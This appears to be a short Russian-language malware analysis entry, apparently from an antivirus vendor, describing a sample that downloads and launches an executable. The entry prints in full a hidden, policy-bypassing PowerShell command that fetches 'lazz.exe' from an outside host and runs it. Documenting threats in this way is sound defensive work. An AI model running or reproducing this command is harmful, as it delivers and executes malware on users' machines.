Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://zcocainem.host/lazz_output2038ce0.exe как %temp%\\lazz.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://zcocainem.host/lazz_output2038CE0.exe','%TEMP%\\lazz.exe') & %TEMP%\\lazz.exe
Сетевая активность
UDP
- DNS ASK zc###inem.host
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://zcocainem.host/lazz_output2038CE0.exe','%TEMP%\\lazz.exe') & %TEMP%\\lazz.exe' (со скрытым окном)
